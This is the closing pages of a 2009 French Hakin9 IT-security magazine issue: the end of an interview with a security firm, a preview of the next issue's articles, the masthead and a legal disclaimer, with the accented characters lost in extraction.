Quelles sont vos offres orientes vers les entreprises et les particuliers ? Nos offres sont uniquement ddies aux entreprises. Quels conseils pourriez-vous donner nos lecteurs qui hsitent devant le choix de service informatique ? Ils ont raison d'hsiter : il ne faut pas aller au plus simple. Les offres packages sont souvent trompeuses et pauvres en intelligence technique. Il faut viter de s'adresser ses proches. Le monde de l'informatique vu par le nophyte peut tre compar au monde mdical : En effet, lorsque vous entrez dans un hpital, toutes les personnes qui portent une blouse blanche ne sont pas tous des mdecins ou des professeurs ! Il ne faut pas hsiter vrifier les rfrences de son prestataire. En terminant, pourriez-vous citer quelques uns de vos clients de renomme internationale qui font confiance vos services ? SeisQuaRe, anciennement ERM.S-GROUP (services paraptroliers), Promaritime International (transport maritime). Notre socit est encore trop jeune pour avoir fait des missions de scurit dans des groupes de renomme internationale. http://www.zelites.org
3/2009 HAKIN9 81

ENle JUILLET Dans prochain numro


DOSSIER
Dans notre dossier nous vous prsenterons les possibilits de modifier le logiciel de votre IPHONE 3G. Voila la confrontation de technologie amovible avec les spcialistes Hakin9!

Toute l'actualit du prochain numro sur le site www.hakin9.org/fr.

DITORIAL
Dans cette rubrique c`est Yves Le Provost, consultant en scurit informatique travaillant pour le cabinet HSC (Herv Schauer Consultants) qui vous prsentera l`article sur les attaques par injections SQL.

SUR LE CD
Comme toujours dans chaque numro nous vous proposons Hakin9 live avec la distribution Backtrack 3. Applications commerciales en versions compltes et des programmes en excluvit, pour la scurit, la protection et la stabilit de votre systme. Des tutoriels vido pratiques afin de mieux comprendre les mthodes offensives.

PRATIQUE
Cette rubrique vous permettra de connatre une mthode d`attaque et d`appliquer les moyens de dfense mettre en place.

EN BREF
L`actualit du monde de la scurit informatique et des systmes d`information. Les nouvelles failles, les intrusions web et les nouvelles applications.

TECHNIQUE
Cette fois-ci nous vous prsenterons un article Lanti-mascarade qui parle d`une technique peu connue et non implmente sur les scanners de ports (y compris nmap). Cette astuce permet de dnombrer le nombre de machines prsentes derriere un routeur qui redirige certains ports vers ces machines.

DATA RECOVERY
Dans cette rubrique vous allez suivre les risques lis aux donnes, de la cl USB au serveur, les risques de pertes, mais aussi de vol de donnes, les moyens de protectios lis ces priphriques.

Vous souhaitez collaborer a la rdaction des articles? N`hsitez pas nous contacter! FR@HAKIN9.ORG Ce numro sera disponible en Juillet/Aot La rdaction se rserve le droit de modifier le contenu de la revue.

Le bimestriel hakin9 est publi par Software-Wydawnictwo Sp. z o.o. Prsident de Software-Wydawnictwo Sp. z o.o. : Pawe Marciniak Rdactrice en chef : Margot Kompiel malgorzata.kompiel@hakin9.org Fabrication : Marta Kurpiewska marta.kurpiewska@software.com.pl DTP : Marcin Zikowski Graphics & Design Studio http://www.gdstudio.pl Couverture : Agnieszka Marchocka Couverture CD : Przemyslaw Banasiewicz Publicit : publicite@software.com.pl Abonnement : software@emdnl.nl Diffusion : Katarzyna Winiarz katarzyna.winiarz@software.com.pl Dpt lgal : parution ISSN : 1731-7037 Distribution : MLP Parc dactivits de Chesnes, 55 bd de la Noire BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX (c) 2009 Software-Wydawnictwo, tous les droits rservs

Bta-testeurs : Didier Sicchia, Pierre Louvet, Anthony Marchetti, Rgis Senet, Paul Amar, Julien Smyczynski Les personnes intresses par la coopration sont invites nous contacter : fr@hakin9.org Prparation du CD : Rafal Kwany Imprimerie, photogravure : 101 Studio, Firma Tgi Ekonomiczna 30/36, 93-426 d Imprim en Pologne Adresse de correspondance : Software-Wydawnictwo Sp. z o.o. Bokserska 1, 02-682 Varsovie, Pologne Tl. +48 22 427 32 87, Fax. +48 22 244 24 59 www.hakin9.org Abonnement (France mtropolitaine, DOM/ TOM) : 1 an (soit 6 numros) 35 La rdaction fait tout son possible pour sassurer que les logiciels sont jour, elle dcline toute responsabilit pour leur utilisation.

Elle ne fournit pas de support technique li linstallation ou lutilisation des logiciels enregistrs sur le CD-ROM. Tous les logos et marques dposs sont la proprit de leurs propritaires respectifs. Le CD-ROM joint au magazine a t test avec AntiVirenKit de la socit G Data Software Sp. z o.o. AVERTISSEMENT Les techniques prsentes dans les articles ne peuvent tre utilises quau sein des rseaux internes. La rdaction du magazine nest pas responsable de lutilisation incorrecte des techniques prsentes. Lutilisation des techniques prsentes peut provoquer la perte des donnes !

82

HAKIN9 5/2008

La rdaction se rserve le droit de modifier le contenu de la revue

You might also like